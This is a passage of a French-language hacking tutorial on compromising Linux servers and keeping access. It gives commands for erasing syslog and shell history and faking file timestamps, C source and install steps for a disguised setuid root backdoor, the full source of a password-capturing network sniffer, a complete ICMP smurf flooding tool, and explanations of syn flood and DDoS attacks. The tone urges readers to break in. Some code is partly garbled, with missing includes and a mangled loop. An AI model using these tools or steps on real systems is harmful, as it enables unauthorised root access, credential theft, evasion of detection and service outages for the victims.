stopper l'execution d'un programme, on va effectuer la combinaison CTRL+Z, ainsi un signal SIGTSTP est envoyé au processus en cours. Pour ce qui est des problèmes donc, et bien nous pouvons modifier le flux d'un programme en cours d'execution. Une des plus célèbres vulnérabilités de ce type est celle présente sur wu-ftpd v 2.4, qui autorise des utilisateurs quelconques d'accèder aux fichiers en tant que root. Les gestionnaires de signaux de ce système permettaient de capter des signaux SIGPIPE lorsque la connection était fermée, et de capter des signaux SIGURG lors d'une interruption de transfert de fichiers. Le problème était, lors d'une déconnection utilisateur/serveur, un signal SIGPIPE étant donc envoyé au serveur FTP, le serveur réglait son UID effective sur 0 ; l'attaque consistait donc à envoyer un signal SIGURG, via la commande ABOR, sur le serveur ftp au moment ou son uid effective était de 0, puis d'empecher le serveur de nous déconnecter, afin d'avoir accès au système de fichiers avec les droits root... Cet exemple est bel et bien une race condition, car le hacker est face à deux problèmes en même temps : Envoyer un signal SIGURG après que le serveur ait mis son uid effective a zero, et interrompre le serveur avant qu'il puisse nous déconnecter. Bon, bien sûr, l'univers des race conditions ne se limite pas aux problèmes de gestion de signaux, il y'a bien tant d'autres choses à découvrir, tant d'exploits à coder, tant de fichiers suid à pirater... Mais on déjà s'en tenir là, ce type d'exploitation est certes efficace, mais plus très utilisé de nos jours, et beaucoup de ces techniques sont devenues obsolétes... Etes vous root après tout ça ? Si vous avez bien bossé, oui. Sinon, cessez d'en vouloir à la nasa, et changez de cible ! Bon, je plaisante, en vérité chaque système est exploitable, à partir du moment où : - vous savez bien programmer - vous êtes calé en architecture réseau - vous maitrisez parfaitement l'os du système cible Bien sûr, cela ne s'appliquera pas à tous les systèmes, obtenir un root sur le SunOs d'une entreprise de commerce spécialisée dans les exportations agricoles vous sera plus facile que d'aller foutre la merde sur les AmigaOS de la nasa... Bon maintenant, après le root, l'après root !!! :) d) Aménager son accès Une fois passé root, vous serez peut-être impatient de modifier quelques fichiers... Attention malheureux ! C'est justement comme ça qu'on se fait prendre ; avant de faire quoi que ce soit, on va d'abord remettre en place deux ou trois petites choses, histoire de bien dormir sur ses deux grandes oreilles... (d'âne ?) 1. Attention aux logs Il en existe trois types de logs, les syslogs, qui notent les messages envoyés au root par le systeme, le lastlog, qui ntoe les ips et les noms de tous les utilisateurs se connectant sur le serveur et les historiques. On commence par les syslogs, pas trop dur : ------------------------------------------------------------------------------------- $ >>> cat /etc/syslog.conf $ >>> cat log | grep -v localdomain.com | grep -v adresse_ip > localname $ >>> cat localname > log $ >>> rm localname Nous avons donc pu enlever le nom de notre machine dans le syslog. On va maintenant rediriger les logs dans un endroit ou personne ne pourra les retrouver. D'abord, noter la date et l'heure du dernier changement de syslog.conf: $ >>> cp/syslog.conf nom $ >>> emacs syslog.conf Ensuite on va tout rediriger dans /dev/null, le trou noir :p. Puis: $ >>> killall -HUP syslogd Maintenant on remet tout en place: $ >>> mv nom syslog.conf $ >>> touch -t yyyymmddhhmm.ss syslog.conf. ------------------------------------------------------------------------------------- En ce qui concerne le lastlog, même si ça paraît impossible (le fichier est sous forme de binaire, windows like :)), il y'a quand même une astuce imparable qui consiste à se reloguer, depuis le serveur, sur sa propre machine, de manière à faire disparaître la connection distante ; >>> rlogin root@localhost.com Enfin, pour terminer en beauté avec les historiques... Ces fichiers enregistrent toutes les actions que vous faites avec votre minable shell root... Chaque shell possède un fichier d'historiques dans le répertoire de son utilisateur: - sh: .sh_history - csh: .history - ksh: .sh_history - bash: .bash_history - zsh: .history - tcsh: .history Vous allez donc devoir en premier lieu, changer de shell pour effacer l'historique du shell précedent. Dans pratiquement tous les cas, votre shell sera sh. Maintenant regardons si le fichier .tcshrc existe, si oui, notons l'heure de sa dernière modification, puis faisons: $ >>> mv .tcshrc .localname $ >>> echo "set histfile=/dev/null" > .tcshrc $ >>> tcsh L'historique sera donc redirigée vers /dev/null. Il ne reste plus qu'à effacer du fichier .sh_history toutes les actions que l'on a faites depuis le début. Puis, juste avant de partir, faites la manipulation inverse: host ~> >>> mv .localname .tcshrc (ou rm.tcshrc si vous venez de le créer) host ~> >>> touch -t yyyymmddhhmm.ss .tcshrc avec l'heure à laquelle il a été crée host ~> >>> logout Bon, ca va assurera déjà une protection minimale, sinon il n'est pas interdit de concoter un petit script qui automatise toutes les commandes à taper... 2. Installer une backdoor Evidemment, vous ne comptiez tout de même pas réutiliser votre minable exploit à chaque fois que vous désireriez passer root sur le système ! On va donc fabriquer une backdoor, une "porte de derrière", qui vous permettra d'entrer à votre guise sur le serveur avec des droits root... On va se mettre à élaborer une backdoor qui vous donne un accès root à chaque fois que vous l'executer en lui passant comme argument "rootme", pour faire passer le programme plus facilement... Sans quoi les admins vont avoir de gros doutes... Avec quelques conaissances en c, y'en a à peine pour 1 minute. Note : faites attention à bien donner un nom qui fasse "vrai" à votre backdoor, une backdoor apellée "ma_backdoor" risque d'éveiller beaucoup de soupçons... ---------------------------------------------------------------------------------- /* fastjump.c (sans commentaires...) */ /* exemple de backdoor */ #include #include #include void main(int argc, char *argv[]) { if ( (argv[1]) && (!strcmp(argv[0],"fastjump")) && (!strcmp(argv[1],"rootme")) ) { setuid(0); setgid(0); system("/bin/sh"); } else { printf("Segmentation Fault"); // mdr, si l'admin est bricoleur, il va surement vouloir mettre ses sales pattes dans le code, à éviter donc.... :p } } ---------------------------------------------------------------------------------- On compile donc : $ gcc fastjump.c fastjump On s'apprête maintenant à déplacer notre backdoor, dans un repertoire peu fréquenté si possible, avant cela on va noter la date des dernières modifications apportées à ce repertoire. C'est fait ? Très bien on bouge notre fastjump... $ mv fastjump /usr/X11R6/bin // X11R6, ça vous rapelle pas quelque chose ça ? lol $ rm fastjump On va ensuite changer ses permissions, le mette en suid : $ chmod +s /usr/X11R6/bin/fastjump Pour le mettre en suid, ensuite vous devrez changer la date du fichier. Voilà, et à chaque fois que vous désirerez passer root allez dans le repertoire usr/X11R6/bin et tapez : >>> ./fastjump rootme Ou rootme est l'argument magique qui vous fera passer root ;) Bon, à part ça il existe des programmes, apellés rootkits, qui automatisent toutes ces tâches, vous sécurise et installent une backdoor sur le serveur. Tapez rootkit dans un moteur de recherche et vous verrez... (quoi? lol) Cette volonté des hackers à vouloir se cacher sur le système est très problématique pour le serveur, car déterminer si un système a été corrompu n'est pas toujours évident. Pour ça, il existe des utilitaires, tels que LIDS (Linux Intrusion Detection System), un ids très puissant disponible sur http://www.lids.org . Mais faites attention, avec un accès root, les hacker peuvent aussi trafiquer des commandes utilisateurs, comme on a vu avec nfs tout à l'heure, en mettant des chevaux de troies à l'intérieur de commandes telles que ls, su, etc... Mais la folie demesurée du hacker en mal de hacker ne s'arrête pas là... Après s'être correctement planqué, il va vouloir modifier quelques fichiers, installer un sniffer, placer des chevaux de troies, ou peut être même pire, "crasher" le système (au moyen de commandes telles que rmdir /bin, rm -fr, etc...). Dans ce cas là, héhé pas de chance, vous êtes tombé sur un crasher pur et dur... Rassurez vous, ce type de pirate n'est pas très répandu... 3. Les sniffers Les sniffers sont des outils terribles car ils permettent d'analyser les différentes trames circulant sur un réseau, aussi bien des trames Ethernet que TCP/IP ou autre, en filtrant différent protocoles, genre rpass, rlogin... Son utilisation est plutôt simple, on place le sniffer en tête de réseau, sur le serveur, on l'active et on attend... En général, ces sniffers ne sniffent que les 200 premiers octets de chaque trame, ce qui est d'ailleurs nettement suffisant pour choper des passwords comme un ouf :) . Lorsqu'une carte voit passer une trame, elle la "renifle" en examinant son enveloppe externe. La carte compare ensuite l'adresse MAC (adresse de la carte réseau) de destination à la sienne , si elle ne lui appartient pas alors elle ne lit pas le paquets. Un sniffer utilise le mode promiscious pour sniffer, dans ce mode les cartes réseau vont transmettre toutes les trames à l'ordinateur. Utiliser un sniffer sur un réseau ne modifie pas les caractéristiques de ce réseau, c'est pour cela qu'il est difficile de voir si oui ou non les trames d'un réseau sont sniffées... En matière de sniffer, je vous conseille Esniff, codé par Phrack magazine (NDLR : encore eux !!!) qui reste un standard en la matière... Plaisanterie mis à part, je vous propose le code source d'un sniffer sympatoche, Linsniff.c, qui ne filtre que les mots de passe, utile en temps de guerre... -------------------------------------------------------------------------------- /* LinSniffer 0.02 [BETA] Mike Edulla medulla@infosoc.com DO NOT REDISTRIBUTE */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include int openintf(char *); int read_tcp(int); int filter(void); int print_header(void); int print_data(int, char *); char *hostlookup(unsigned long int); void clear_victim(void); struct etherpacket { struct ethhdr eth; struct iphdr ip; struct tcphdr tcp; char buff[8192]; }ep; struct { unsigned long saddr; unsigned long daddr; unsigned short sport; unsigned short dport; int bytes_read; char active; time_t start_time; } victim; struct iphdr *ip; struct tcphdr *tcp; #define CAPTLEN 512 #define TIMEOUT 30 int openintf(char *d) { int fd; struct ifreq ifr; int s; fd=socket(AF_INET, SOCK_PACKET, htons(0x800)); if(fd < 0) { perror("cant get SOCK_PACKET socket"); exit(0); } strcpy(ifr.ifr_name, d); s=ioctl(fd, SIOCGIFFLAGS, &ifr); if(s < 0) { close(fd); perror("cant get flags"); exit(0); } ifr.ifr_flags |= IFF_PROMISC; s=ioctl(fd, SIOCSIFFLAGS, &ifr); if(s < 0) perror("cant set promiscious mode"); return fd; } int read_tcp(int s) { int x; while(1) { x=read(s, (struct etherpacket *)&ep, sizeof(ep)); if(x > 1) { if(filter()==0) continue; x=x-54; if(x < 1) continue; return x; } } } int filter(void) { int p; p=0; if(ip->protocol != 6) return 0; if(victim.active != 0) if(victim.bytes_read > CAPTLEN) { printf("\n----- [CAPLEN Exceeded]\n"); clear_victim(); return 0; } if(victim.active != 0) if(time(NULL) > (victim.start_time + TIMEOUT)) { printf("\n----- [Timed Out]\n"); clear_victim(); return 0; } if(ntohs(tcp->dest)==21) p=1; /* ftp */ if(ntohs(tcp->dest)==23) p=1; /* telnet */ if(ntohs(tcp->dest)==110) p=1; /* pop3 */ if(ntohs(tcp->dest)==109) p=1; /* pop2 */ if(ntohs(tcp->dest)==143) p=1; /* imap2 */ if(ntohs(tcp->dest)==513) p=1; /* rlogin */ if(ntohs(tcp->dest)==106) p=1; /* poppasswd */ if(victim.active == 0) if(p == 1) if(tcp->syn == 1) { victim.saddr=ip->saddr; victim.daddr=ip->daddr; victim.active=1; victim.sport=tcp->source; victim.dport=tcp->dest; victim.bytes_read=0; victim.start_time=time(NULL); print_header(); } if(tcp->dest != victim.dport) return 0; if(tcp->source != victim.sport) return 0; if(ip->saddr != victim.saddr) return 0; if(ip->daddr != victim.daddr) return 0; if(tcp->rst == 1) { victim.active=0; alarm(0); printf("\n----- [RST]\n"); clear_victim(); return 0; } if(tcp->fin == 1) { victim.active=0; alarm(0); printf("\n----- [FIN]\n"); clear_victim(); return 0; } return 1; } int print_header(void) { puts(" "); printf("%s => ", hostlookup(ip->saddr)); printf("%s [%d]\n", hostlookup(ip->daddr), ntohs(tcp->dest)); } int print_data(int datalen, char *data) { int i=0; int t=0; victim.bytes_read=victim.bytes_read+datalen; for(i=0;i != datalen;i++) { if(data[i] == 13) {puts(" ");t=0;} if(isprint(data[i])) {printf("%c", data[i]);t++;} if(t > 75) {t=0;puts(" ");} } } main() { int s; s=openintf("eth0"); ip=(struct iphdr *)(((unsigned long)&ep.ip)-2); tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2); signal(SIGHUP, SIG_IGN); clear_victim(); for(;;) { read_tcp(s); if(victim.active != 0) print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2); } } char *hostlookup(unsigned long int in) { static char blah[1024]; struct in_addr i; struct hostent *he; i.s_addr=in; he=gethostbyaddr((char *)&i, sizeof(struct in_addr),AF_INET); if(he == NULL) strcpy(blah, inet_ntoa(i)); else strcpy(blah, he->h_name); return blah; } void clear_victim(void) { victim.saddr=0; victim.daddr=0; victim.sport=0; victim.dport=0; victim.active=0; victim.bytes_read=0; victim.start_time=0; } -------------------------------------------------------------------------------- L'élimination d'un sniffer est donc comparable à celle d'une backdoor, elle est très problématique. On peut faire appel à des programmes tels que Promisc (http://geek-girl.com/bugtraq/1997_3/0411.html) pour détecter un sniffer sur son réseau, et encore, ça ce n'est que pour des SunOs ou des solaris... C'est donc la fin de ce "petit" d). Que pouvons nous faire d'autre à présent ? Chercher à devenir root sur un autre système ? Ne soyez pas pessimistes, même si on a vite fait de faire le tour du système de fichiers, de placer un sniffer, des chevaux de troies et tutti quanti, on peut faire beaucoup de chose marrantes avec un root... Quoi par exemple ? C'est ce que je vous propose de découvrir dans la dernière partie de ce chapitre, restez branchés... e) Denial of service Les attaques "dénis de service" consistent à faire planter un serveur. A quoi cela peut il bien nous servir ? Et bien après la pose d'un sniffer, d'un cheval de troies ou de toute autre backdoor sur un serveur, le système aura besoin d'être redemarré pour que nos outils soient activés... Bien entendu, ceci n'est que la vision optimiste des choses, il existe des pirates (crashers) qui utilisent ce type d'attaques uniquement pour le plaisir... Il existe de nombreuses techniques de dos (dénial of service), nous allons en voir quelques unes ici... 1. Syn flood Pour comprendre la technique du syn flood, nous avons besoin de comprendre comment marche une connection tcp 'normale' ; 1. CLIENT ---envoie un paquet syn---> SERVEUR 2. CLIENT <--renvoie un paquet syn/ack--- SERVEUR 3. CLIENT ---envoie un paquet ack----> SERVEUR Dans la première étape, un paquet syn est envoyé par le client désirant se connecter à un port tcp quelconque du serveur. Dans cette étape, le serveur est dans un état SYN_RECV, il attend donc le paquet syn Dans la seconde étape, un paquet syn/ack est renvoyé par le serveur au client, vérifiant si le client est actif. Dans la troisième étape, le client renvoie un paquet ack vers le serveur pour confirmer qu'il existe. Si tout se passe bien, la connection est établie. Une situation de syn flood se produit quand quelqu'un envoie un paquet syn spoofé, c'est à dire avec une adresse ip source inexistante. Le serveur va donc essayer de renvoyer un paquet syn/ack, puis va se mettre en état SYN_RECV, attendant une réponse de la part du client. Comme celui ci n'existe pas, son adresse étant spoofé, une liste de connections inétablies va s'accumuler sur le serveur... Faisant par la suite "planter" celui ci... Cool hein ? Cette technique est très pratique car vous n'avez pas besoin d'avoir une grande bande passante pour la mettre en application... Pour voir si son système est victime d'une attaque syn flood, on peut faire appel à la commande "netstat", qui vous montrera les connections actives sur le système. Cette technique a cependant tendance à marcher de moins en moins bien... Mais elle a eu son heure gloire, dans l'univers des refus de service... 2. Technique du smurfing Un type d'attaque qui nous interessera plus que le syn flood, c'est le smurfing. La technique du smurfing repose sur le protocole ICMP (Internet Control Messages Protocol), son fonctionnement est des plus simples. En gros, cela consiste à à envoyer des paquets ICMP ECHO spoofés (sur l'ip du serveur cible) sur des serveurs broadcast, composant un réseau amplificateur. Tous les serveurs broadcast du réseau vont donc répondre, non pas à notre machine, mais à la machine cible (car nos paquets étaient spoofés). Le serveur victime va donc rapidement être saturé, pour finalement planter... Tout comme les inondations cible, le smurfing ne demande pas que vous ayez beaucoup de bande passante, et ce qui fait la force de cette attaque.. C'est que ca marche ! Mais vous vous demandez peut être comment ca marche... Le protocole ICMP est employé par les hôtes et les routeurs pour échanger une information de contrôle, plus précisement pour délivrer un message d'erreur... Ces messages icmp sont transportés sur le réseau sous forme de datagrammes icmp. Et voilà à quoi ressemble un datagramme icmp : 0 ______________________15-16________________________31 | | Message ICMP | |en-tête|____________________________________________ | | | | | | | | |Type(8b)| Code(8b)|Checksum(16b)|Message(xb) | |_______|________|_________|_____________|____________| Ces datagrammes sont composés de quatre champs : le type, dans le cas d'un smurf on utilisera donc ICMP_ECHO ; le code du paquet, qui sera 1 ; le checksum, codé sur 16 bytes, et le message. L'art du spoofing icmp consiste à fabriquer des paquets icmp qui vont faire croire à un système que la connection est perdue... C'est pourquoi le type de paquet icmp employé sera 1, il correspond à une machine inaccessible. Voici maintenant un exemple de smurfer, codé par un certain Lion7... (que je salue au passage :)) --------------------------------------------------------------------------------- /******************************************/ /* Ssmurf By Li0n7 */ /* contactez-moi: killer.kil@voila.fr */ /* http://www.rndghost.com */ /* ICMP SMURFER - ICMP SPOOFER */ /* Copyright Li0n7 - Tous droits réservés */ /******************************************/ /* Déclaration des headers */ #include #include #include #include #include #include #include #include /* Déclarations des variables et structures */ char *sprotocol; char *sa; char *da; int nbrPaquets, listening=0, optval, nb=0; struct hostent *source; struct hostent *cible; struct sockaddr_in false; struct sockaddr_in dest; struct icmphdr *icmp; struct iphdr *ip; char *packet, *buffer; /* Fonction chksum, thanks Nitr0gen */ unsigned short in_cksum(unsigned short *addr, int len) { register int sum = 0; u_short answer = 0; register u_short *w = addr; register int nleft = len; while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(u_char *) (&answer) = *(u_char *) w; sum += answer; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return (answer); } /* Vérifie l'existence des broadcasts et de la cible */ int dhosts(char *fa, char *fd) { if ((source=gethostbyname(fa))==NULL) { perror("Hote source invalide"); } else { bzero(&false, sizeof(false)); false.sin_addr=*(struct in_addr*)source->h_addr; } if ((cible=gethostbyname(fd))==NULL) { perror("Broadcast invalide"); } else { bzero(&dest, sizeof(dest)); dest.sin_family=AF_INET; dest.sin_port=htons(random()); dest.sin_addr=*(struct in_addr*)cible->h_addr; } return 0; } /* Fonction forgeant les faux datagrammes */ char *bicmp(int sihl, int sversion, int stos, int sttl, int scode, int sechoi, int ssek, int schk) { ip = (struct iphdr *) malloc(sizeof(struct iphdr)); icmp = (struct icmphdr *) malloc(sizeof(struct icmphdr)); packet = (char *) malloc(sizeof(struct iphdr) + sizeof(struct icmphdr)); buffer = (char *) malloc(sizeof(struct iphdr) + sizeof(struct icmphdr)); ip = (struct iphdr *) packet; icmp = (struct icmphdr *) (packet + sizeof(struct iphdr)); /* Création de l'header IP */ ip->ihl = sihl; ip->version = sversion; ip->tos = stos; ip->tot_len = sizeof(struct iphdr) + sizeof(struct icmphdr); ip->id = htons(getuid()); ip->ttl = sttl; ip->protocol = IPPROTO_ICMP; ip->saddr = false.sin_addr.s_addr; ip->daddr = dest.sin_addr.s_addr; /* Création de l'header ICMP */ icmp->type = ICMP_ECHO; icmp->code = scode; icmp->un.echo.id = sechoi; icmp->un.echo.sequence = ssek; icmp->checksum = schk; icmp->checksum = in_cksum((unsigned short *)icmp,sizeof(struct icmphdr)); ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr)); return (packet); } /* Fonction de smurfing */ int ismurf(char *ia, char *id, int paquets, int slisten, int broads) { int j, z, i, dihl, dversion, dtos, dttl, dcode, dechoi, dsek, dchk, sock, optval, pfailed=0, psucceed=0; char *buf; char *spaquet; /* Création du datagramme par l'utilisateur attaquant */ printf("IP ILH(5): "); scanf(" %d", &dihl); printf("IP VERSION(4): "); scanf(" %d", &dversion); printf("IP TOS(0): "); scanf(" %d", &dtos); printf("IP TTL(255): "); scanf(" %d", &dttl); printf("ICMP CODE(1): "); scanf(" %d", &dcode); printf("ICMP ECHO.ID(0): "); scanf(" %d", &dechoi); printf("ICMP ECHO.SEQUENCE(0): "); scanf(" %d", &dsek); printf("ICMP CHECKSUM(0): "); scanf(" %d", &dchk); /* Boucle d'envoie des requêtes ICMP */ for(j=0;jtot_len,0,(struct sockaddr *)&dest,sizeof(struct sockaddr)))<0) { printf("Erreur lors de l'envoie des paquets!\n"); pfailed++; } else { printf("Données envoyées!\n"); psucceed++; } } close(sock); } /* Statistiques de l'attaque */ printf("\nStatistiques:\n"); printf("Adresse source: %s.\n", ia); printf("Nombre de broadcasts: %d.\n", broads); printf("Nombres de paquets à envoyés par broad.: %d.\n", paquets); printf("Nombres de paquets envoyés total: %d.\n", paquets*broads); printf("Nombres de paquets correctement envoyés: %d.\n", psucceed); printf("Nombres de paquets perdus: %d.\n", pfailed); if(slisten!=1) { return 0; } /* Attend réponse de la cible, dans le cas d'une IP non spoofée */ if (slisten==1) { if(recv(sock,buffer,sizeof(struct iphdr)+sizeof(struct icmphdr),0)>=0) { printf("Received the ECHO REPLY!\n"); return 0; } else { printf("Erreur, aucune réception.\n"); return 0; } } close(sock); return 0; } /* Fonction principale */ int main(int argc, char *argv[]) { if (argc < 2) { printf("\n\n++++++++++++++++++Ssmurf BY Li0n7+++++++++++++++++++++\n\n"); printf(" [Présentation des arguments] \n\n"); printf("usage: ./smurf -s -n -l\n\n"); printf("-s: l'adresse falsifiée.\n"); printf("-n: le nombre de paquets à envoyer.\n"); printf("-b: le nombre de serveurs broadcasts.\n"); printf("-l: listening, attend un réponse pour paquets icmp envoyés.\n"); printf("www.rndghost.com - contactez moi: killer.kil@voila.fr\n\n"); exit(-1); } else { /* Récupère les arguments entrées par l'utilisateur attaquant */ while( (argc > 1) && (argv[1][0]=='-')) { switch(argv[1][1]) { case 's': sa=&argv[1][2]; break; case 'n': nbrPaquets=atoi(&argv[1][2]); break; case 'l': listening=1; break; case 'b': nb=atoi(&argv[1][2]); if(nb==0) { printf("Le nombre de serveurs ne peut être nul.\n"); exit(-1); } break; } --argc; ++argv; } } /* Appel de la fonction smurf */ ismurf(sa, da, nbrPaquets, listening, nb); return 0; } /* Pour compiler : gcc smurf.c -o smurf usage: ./smurf -s[SPOOFED_IP] -n[NBR PAQUETS] -l -s[SPOOFED_IP]: l'adresse falsifiée. -n[NBR_PAQUETS]: le nombre de paquets à envoyer. -b[NBR_SERVEURS]: le nombre de serveurs broadcasts. -l: listening, attend un réponse pour paquets icmp. */ --------------------------------------------------------------------------------- Bon, sur ce, j'espère que vous avez compris, car maintenant nous allons passer aux attaques de refus de service distribués... Qui elles, nécessitent que vous ayez un accès root sur un serveur, de préférence relié à un réseau de grande bande passante... 3. Les attaques Ddos Les attaques Ddos, dénis de service distribués, sont les attaques les plus vicieuses à conçevoir... Les plus dures aussi, car elles demanderont au pirate que vous êtes d'obtenir le plus d'accès root sur le plus de systèmes possible... Ce type d'atttaques est le plus souvent dirigé par des outils automatisés ; TFN et TFN2K en sont deux tristement célèbres exemples... Programmés par un 'gamin' de 14 ans, Kevin Ackman, allias The Mixter, ces logiciels ont permis fin 2000 de faire planter les serveurs de Yahoo!, imaginez le trip... TFN possède une partie client et une partie serveur, la partie serveur s'installe automatiquement sur les systèmes infiltrés, et la partie client sert à effectuer un dos, un smurf comme un syn flood, au choix... Voilà à quoi ressemble une attaque ddos classique ; PIRATE -----------------------> SERVEURS INFILTRES ---------------------> SERVEUR CIBLE (place la partie serveur) (effectuent un dos) Ce shéma ci-dessus nous explique bien le procédé du ddos, je pense que je n'ai pas de commentaires à rajouter là dessus... Côté sécurisation, de nombreux utilitaires assurent la détection de TFN/TFN2K, cherchez vous même ;)) e) Conclusion Nous avons donc pu découvrir au fil de ce chapitre les méthodes les plus courantes quand à l'intrusion sur des systèmes linux. Bien sûr, en matière de hacking, on aurait pu parler de plein de choses encore, comme le piratage de réseaux, de fire- wall, le détournement de routeurs etc... Nous avons aussi découvert qu'il existe une certaine linéarité dans l'univers du hacking linux, comme le disait si bien je ne sais plus qui dans quelque e-mag assez célèbre, en 1. on se loggue sur le serveur, et en 2. on utilise un exploit trouvé n'importe où sur le web, pis on passe root. Cette "linéarité" n'est pas forcément déplasainte quand on cherche à coder ses propres exploits, trouver ses propres ses failles... Mais bon, les hackers qui font ça se comptent sur les doigts d'une main, et je n'en fais absolument pas partie... Ces techniques de hacking, parfoid assez complexes, repoussent de plus en plus les compétences des administrateurs. Auront nous le droit un jour à un web ultra-sécurisé ? Un vrai cauchemard pour les hackers... Mais rassurons nous, tant que les serveurs tournerons sous linux, tant il y'aura des hackers impertinents pour les infiltrer... Ainsi soit il.